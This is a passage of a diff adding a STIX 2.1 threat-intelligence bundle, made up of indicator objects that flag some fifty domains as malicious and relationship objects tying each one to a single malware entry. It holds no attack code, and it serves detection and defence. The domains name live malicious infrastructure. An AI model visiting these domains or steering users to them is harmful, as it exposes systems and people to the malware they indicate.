"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d192ec26-bbcb-403b-aac6-244a62552952", + "created": "2023-03-29T12:58:44.455968Z", + "modified": "2023-03-29T12:58:44.455968Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='privatedecorator.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.455968Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90e50182-e3a2-4247-bb0b-68caba600d6f", + "created": "2023-03-29T12:58:44.45656Z", + "modified": "2023-03-29T12:58:44.45656Z", + "relationship_type": "indicates", + "source_ref": "indicator--d192ec26-bbcb-403b-aac6-244a62552952", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--480aae2e-3619-44fa-a84a-7f2555b5c0ac", + "created": "2023-03-29T12:58:44.456731Z", + "modified": "2023-03-29T12:58:44.456731Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yippeelaziness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.456731Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--77b3eff5-98f4-4259-943b-cc5dda62dd8f", + "created": "2023-03-29T12:58:44.457323Z", + "modified": "2023-03-29T12:58:44.457323Z", + "relationship_type": "indicates", + "source_ref": "indicator--480aae2e-3619-44fa-a84a-7f2555b5c0ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--944e8760-d931-4659-ad37-df3703feb6a7", + "created": "2023-03-29T12:58:44.457491Z", + "modified": "2023-03-29T12:58:44.457491Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backsidenifty.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.457491Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7a10ea7-cb05-43ed-b38d-7a9a3adf0180", + "created": "2023-03-29T12:58:44.458084Z", + "modified": "2023-03-29T12:58:44.458084Z", + "relationship_type": "indicates", + "source_ref": "indicator--944e8760-d931-4659-ad37-df3703feb6a7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bfc933e1-b6b3-4db0-9ebd-5d2cb8bbbefd", + "created": "2023-03-29T12:58:44.458252Z", + "modified": "2023-03-29T12:58:44.458252Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overreachimpurity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.458252Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68f81155-002b-4abe-bcf4-06f5c6aa3f8d", + "created": "2023-03-29T12:58:44.458845Z", + "modified": "2023-03-29T12:58:44.458845Z", + "relationship_type": "indicates", + "source_ref": "indicator--bfc933e1-b6b3-4db0-9ebd-5d2cb8bbbefd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fd5598f-e890-40a5-b3a9-a971f68760d2", + "created": "2023-03-29T12:58:44.459013Z", + "modified": "2023-03-29T12:58:44.459013Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='renewablecaring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.459013Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28dddc08-f9f2-42fe-9682-0a0d19ef10c3", + "created": "2023-03-29T12:58:44.459615Z", + "modified": "2023-03-29T12:58:44.459615Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fd5598f-e890-40a5-b3a9-a971f68760d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8db7d194-96d1-4e65-90ae-c6840e024f0d", + "created": "2023-03-29T12:58:44.459783Z", + "modified": "2023-03-29T12:58:44.459783Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='claspcrawling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.459783Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e8f67b9-9f46-4f31-ac77-8679ee899903", + "created": "2023-03-29T12:58:44.460377Z", + "modified": "2023-03-29T12:58:44.460377Z", + "relationship_type": "indicates", + "source_ref": "indicator--8db7d194-96d1-4e65-90ae-c6840e024f0d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94dc44d2-5f60-4afc-b241-69a49eec0f8c", + "created": "2023-03-29T12:58:44.460545Z", + "modified": "2023-03-29T12:58:44.460545Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strumpolygraph.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.460545Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--20fc6ae5-d4e6-4ad3-8e97-b6c68c40d332", + "created": "2023-03-29T12:58:44.461137Z", + "modified": "2023-03-29T12:58:44.461137Z", + "relationship_type": "indicates", + "source_ref": "indicator--94dc44d2-5f60-4afc-b241-69a49eec0f8c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--96a725c1-69db-4495-843a-e274db2f4344", + "created": "2023-03-29T12:58:44.461307Z", + "modified": "2023-03-29T12:58:44.461307Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glucosesixth.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.461307Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85fe56bb-d483-4d21-9054-a0d68ee9d165", + "created": "2023-03-29T12:58:44.462015Z", + "modified": "2023-03-29T12:58:44.462015Z", + "relationship_type": "indicates", + "source_ref": "indicator--96a725c1-69db-4495-843a-e274db2f4344", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f00dd6a-c91e-40e7-884d-cbb8990a909a", + "created": "2023-03-29T12:58:44.462188Z", + "modified": "2023-03-29T12:58:44.462188Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proofreadglitzy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.462188Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0e37f55-a1c8-40c4-9f51-86d80aa100bd", + "created": "2023-03-29T12:58:44.462783Z", + "modified": "2023-03-29T12:58:44.462783Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f00dd6a-c91e-40e7-884d-cbb8990a909a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a189dccd-48ad-4e8e-886f-ad838a1903f5", + "created": "2023-03-29T12:58:44.462952Z", + "modified": "2023-03-29T12:58:44.462952Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='restkeepwest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.462952Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ff99ea4-6c50-471b-b74a-13be3cfd554a", + "created": "2023-03-29T12:58:44.46354Z", + "modified": "2023-03-29T12:58:44.46354Z", + "relationship_type": "indicates", + "source_ref": "indicator--a189dccd-48ad-4e8e-886f-ad838a1903f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b88475f-c4a2-4be0-8666-b417cca7dbaa", + "created": "2023-03-29T12:58:44.463708Z", + "modified": "2023-03-29T12:58:44.463708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hardheadjuiciness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.463708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3994ff4b-7903-4376-a172-663324e5d80e", + "created": "2023-03-29T12:58:44.4643Z", + "modified": "2023-03-29T12:58:44.4643Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b88475f-c4a2-4be0-8666-b417cca7dbaa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--91a5391c-8cee-49de-beeb-ad7521389a6f", + "created": "2023-03-29T12:58:44.464467Z", + "modified": "2023-03-29T12:58:44.464467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='remodelermarine.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.464467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a22d6e9e-5c34-41c0-a20b-e3a0dcc77bc1", + "created": "2023-03-29T12:58:44.46506Z", + "modified": "2023-03-29T12:58:44.46506Z", + "relationship_type": "indicates", + "source_ref": "indicator--91a5391c-8cee-49de-beeb-ad7521389a6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52555c0f-1191-42a8-9d27-94cd290b4687", + "created": "2023-03-29T12:58:44.465228Z", + "modified": "2023-03-29T12:58:44.465228Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basketcase.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.465228Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0c9a863-d5bc-447f-a029-ffb83d9f0b33", + "created": "2023-03-29T12:58:44.465822Z", + "modified": "2023-03-29T12:58:44.465822Z", + "relationship_type": "indicates", + "source_ref": "indicator--52555c0f-1191-42a8-9d27-94cd290b4687", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d100e48f-cb29-48dc-b6ab-75ce390a0b73", + "created": "2023-03-29T12:58:44.46599Z", + "modified": "2023-03-29T12:58:44.46599Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klicksuara.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.46599Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--310894bd-13fb-40ac-a6c7-4f32c23be05d", + "created": "2023-03-29T12:58:44.466573Z", + "modified": "2023-03-29T12:58:44.466573Z", + "relationship_type": "indicates", + "source_ref": "indicator--d100e48f-cb29-48dc-b6ab-75ce390a0b73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--828c1f10-4ea6-4ec9-8296-904ed0fdd5ef", + "created": "2023-03-29T12:58:44.466746Z", + "modified": "2023-03-29T12:58:44.466746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='helo-babe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.466746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e5db357-5228-4ac8-9d68-f62e0818b55f", + "created": "2023-03-29T12:58:44.467338Z", + "modified": "2023-03-29T12:58:44.467338Z", + "relationship_type": "indicates", + "source_ref": "indicator--828c1f10-4ea6-4ec9-8296-904ed0fdd5ef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--062a0b74-3dfb-4553-aed0-f3725e3b5dbe", + "created": "2023-03-29T12:58:44.467506Z", + "modified": "2023-03-29T12:58:44.467506Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsmoothaccompany.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.467506Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42fd8c50-e607-487c-b426-27c3ec5f5d25", + "created": "2023-03-29T12:58:44.468104Z", + "modified": "2023-03-29T12:58:44.468104Z", + "relationship_type": "indicates", + "source_ref": "indicator--062a0b74-3dfb-4553-aed0-f3725e3b5dbe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36db8ce8-2495-458c-b901-e176c03d9bb9", + "created": "2023-03-29T12:58:44.46827Z", + "modified": "2023-03-29T12:58:44.46827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yappingemit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.46827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6f768ba-dff2-4965-8b7f-2ac02c31afdc", + "created": "2023-03-29T12:58:44.46897Z", + "modified": "2023-03-29T12:58:44.46897Z", + "relationship_type": "indicates", + "source_ref": "indicator--36db8ce8-2495-458c-b901-e176c03d9bb9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88978936-559a-4ada-9493-051115b596c0", + "created": "2023-03-29T12:58:44.469142Z", + "modified": "2023-03-29T12:58:44.469142Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clubbedisolation.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.469142Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c7dbebc-ebda-4a92-acca-ca5c98099942", + "created": "2023-03-29T12:58:44.469741Z", + "modified": "2023-03-29T12:58:44.469741Z", + "relationship_type": "indicates", + "source_ref": "indicator--88978936-559a-4ada-9493-051115b596c0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--27c1c755-a3f0-41f2-908d-d383074e2dd1", + "created": "2023-03-29T12:58:44.469909Z", + "modified": "2023-03-29T12:58:44.469909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='occhisulmondo-news.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.469909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5a2d2b0-5fe2-4d6f-b692-106eed3adf9e", + "created": "2023-03-29T12:58:44.470507Z", + "modified": "2023-03-29T12:58:44.470507Z", + "relationship_type": "indicates", + "source_ref": "indicator--27c1c755-a3f0-41f2-908d-d383074e2dd1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4be17aeb-c8e8-4766-9b46-de21231aee8d", + "created": "2023-03-29T12:58:44.470674Z", + "modified": "2023-03-29T12:58:44.470674Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greasilytighten.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.470674Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d427d8b2-9093-4abb-af5a-01de6534ad9c", + "created": "2023-03-29T12:58:44.471267Z", + "modified": "2023-03-29T12:58:44.471267Z", + "relationship_type": "indicates", + "source_ref": "indicator--4be17aeb-c8e8-4766-9b46-de21231aee8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7af16336-1d2d-48ac-afbb-b3df0c4330c9", + "created": "2023-03-29T12:58:44.471433Z", + "modified": "2023-03-29T12:58:44.471433Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ahoyculinary.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.471433Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--012dbb8b-eecf-4ff5-856a-b1aca7c528c3", + "created": "2023-03-29T12:58:44.472023Z", + "modified": "2023-03-29T12:58:44.472023Z", + "relationship_type": "indicates", + "source_ref": "indicator--7af16336-1d2d-48ac-afbb-b3df0c4330c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b690af6-55ae-4e37-94ca-8ecf79f9842f", + "created": "2023-03-29T12:58:44.472202Z", + "modified": "2023-03-29T12:58:44.472202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perfectlyunfocused.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.472202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1e8e4f6-20ca-4eb7-9e43-32ed81895a42", + "created": "2023-03-29T12:58:44.4728Z", + "modified": "2023-03-29T12:58:44.4728Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b690af6-55ae-4e37-94ca-8ecf79f9842f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9203a91-63f3-4044-8f9a-a472fd718409", + "created": "2023-03-29T12:58:44.472969Z", + "modified": "2023-03-29T12:58:44.472969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bullfightstack.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.472969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6cf24e03-db3b-4c23-be68-e16a03c3c422", + "created": "2023-03-29T12:58:44.473571Z", + "modified": "2023-03-29T12:58:44.473571Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9203a91-63f3-4044-8f9a-a472fd718409", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--867e8236-fff6-4856-8429-6f1691837062", + "created": "2023-03-29T12:58:44.47374Z", + "modified": "2023-03-29T12:58:44.47374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surprisingfacts.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.47374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--576465f6-eb17-4856-a50e-45e903803be4", + "created": "2023-03-29T12:58:44.474342Z", + "modified": "2023-03-29T12:58:44.474342Z", + "relationship_type": "indicates", + "source_ref": "indicator--867e8236-fff6-4856-8429-6f1691837062", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae68a88d-c3fb-4e90-b5b4-4570695fe0cd", + "created": "2023-03-29T12:58:44.474511Z", + "modified": "2023-03-29T12:58:44.474511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parkadramatize.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.474511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22c7483c-9b29-4166-804d-2cc745cba881", + "created": "2023-03-29T12:58:44.475107Z", + "modified": "2023-03-29T12:58:44.475107Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae68a88d-c3fb-4e90-b5b4-4570695fe0cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f3da828-708d-4fef-b869-62846fb6f242", + "created": "2023-03-29T12:58:44.475274Z", + "modified": "2023-03-29T12:58:44.475274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heavejailbreak.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.475274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--753c5800-96b4-41ce-a66d-b619ca6ff21d", + "created": "2023-03-29T12:58:44.475984Z", + "modified": "2023-03-29T12:58:44.475984Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f3da828-708d-4fef-b869-62846fb6f242", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aae3c7ef-2685-46dd-a349-f40ce418e70c", + "created": "2023-03-29T12:58:44.476214Z", + "modified": "2023-03-29T12:58:44.476214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bloomersmarbles.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.476214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5f05705-99f4-44fa-8568-74826ace2e22", + "created": "2023-03-29T12:58:44.47685Z", + "modified": "2023-03-29T12:58:44.47685Z", + "relationship_type": "indicates", + "source_ref": "indicator--aae3c7ef-2685-46dd-a349-f40ce418e70c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a081548f-c15a-4f8e-888f-a5ea1fa98f2e", + "created": "2023-03-29T12:58:44.477019Z", + "modified": "2023-03-29T12:58:44.477019Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='monopolytapeless.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.477019Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fbc1fc42-babe-42f3-a36d-293769b2550e", + "created": "2023-03-29T12:58:44.477624Z", + "modified": "2023-03-29T12:58:44.477624Z", + "relationship_type": "indicates", + "source_ref": "indicator--a081548f-c15a-4f8e-888f-a5ea1fa98f2e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8adba0a5-ef71-46cc-a06d-14df959cb3c2", + "created": "2023-03-29T12:58:44.477796Z", + "modified": "2023-03-29T12:58:44.477796Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poteremistico.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.477796Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1a7de94-86e5-4f26-b36f-d0e203815704", + "created": "2023-03-29T12:58:44.478386Z", + "modified": "2023-03-29T12:58:44.478386Z", + "relationship_type": "indicates", + "source_ref": "indicator--8adba0a5-ef71-46cc-a06d-14df959cb3c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94a1d407-a9ae-41a8-859e-b0415fcfad02", + "created": "2023-03-29T12:58:44.478554Z", + "modified": "2023-03-29T12:58:44.478554Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attributequickly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.478554Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8e884d7-52cc-460f-9dcf-2d9c6b5ccd79", + "created": "2023-03-29T12:58:44.479149Z", + "modified": "2023-03-29T12:58:44.479149Z", + "relationship_type": "indicates", + "source_ref": "indicator--94a1d407-a9ae-41a8-859e-b0415fcfad02", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a51cb280-5ad2-4990-9e81-6d1d07cae395", + "created": "2023-03-29T12:58:44.479316Z", + "modified": "2023-03-29T12:58:44.479316Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eagleoperate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.479316Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db163a95-6087-452d-9ee6-086697b3b797", + "created": "2023-03-29T12:58:44.479904Z", + "modified": "2023-03-29T12:58:44.479904Z", + "relationship_type": "indicates", + "source_ref": "indicator--a51cb280-5ad2-4990-9e81-6d1d07cae395", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46a548d7-61aa-48c6-9b42-5203d727335e", + "created": "2023-03-29T12:58:44.480072Z", + "modified": "2023-03-29T12:58:44.480072Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandboxwashable.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.480072Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0724098d-b84c-4748-a626-1542e6d72a88", + "created": "2023-03-29T12:58:44.480667Z", + "modified": "2023-03-29T12:58:44.480667Z", + "relationship_type": "indicates", + "source_ref": "indicator--46a548d7-61aa-48c6-9b42-5203d727335e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58e5a1b8-683d-4ebc-be24-5d729535afc0", + "created": "2023-03-29T12:58:44.480834Z", + "modified": "2023-03-29T12:58:44.480834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mossdecor.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.480834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47f105ee-bc10-477b-84cd-5bb1dc65422d", + "created": "2023-03-29T12:58:44.481422Z", + "modified": "2023-03-29T12:58:44.481422Z", + "relationship_type": "indicates", + "source_ref": "indicator--58e5a1b8-683d-4ebc-be24-5d729535afc0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--15bad06d-544b-41d9-ba9e-5c0d323b103b", + "created": "2023-03-29T12:58:44.481594Z", + "modified": "2023-03-29T12:58:44.481594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ragweedwince.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.481594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4d2731dc-cad3-4155-b914-51411afd03d4", + "created": "2023-03-29T12:58:44.482181Z", + "modified": "2023-03-29T12:58:44.482181Z", + "relationship_type": "indicates", + "source_ref": "indicator--15bad06d-544b-41d9-ba9e-5c0d323b103b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bf0df02-2463-44d0-9f0c-a0d4c74312c4", + "created": "2023-03-29T12:58:44.482349Z", + "modified": "2023-03-29T12:58:44.482349Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improvingvideo.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.482349Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a9e9e17-90f0-408e-b656-831c50281aff", + "created": "2023-03-29T12:58:44.483058Z", + "modified": "2023-03-29T12:58:44.483058Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bf0df02-2463-44d0-9f0c-a0d4c74312c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d8dae32-9002-4cd7-8f08-8cce4eaacd75", + "created": "2023-03-29T12:58:44.483232Z", + "modified": "2023-03-29T12:58:44.483232Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='copiedunderuse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.483232Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--947965df-a2a0-42ca-b7c5-2cbba360638f", + "created": "2023-03-29T12:58:44.483825Z", + "modified": "2023-03-29T12:58:44.483825Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d8dae32-9002-4cd7-8f08-8cce4eaacd75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74e68f4f-8ba8-4573-b38a-72c96eb46dea", + "created": "2023-03-29T12:58:44.483992Z", + "modified": "2023-03-29T12:58:44.483992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unfundedsubtly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.483992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce65a349-27cd-4dd2-a6a1-52f33acea4e5", + "created": "2023-03-29T12:58:44.484589Z", + "modified": "2023-03-29T12:58:44.484589Z", + "relationship_type": 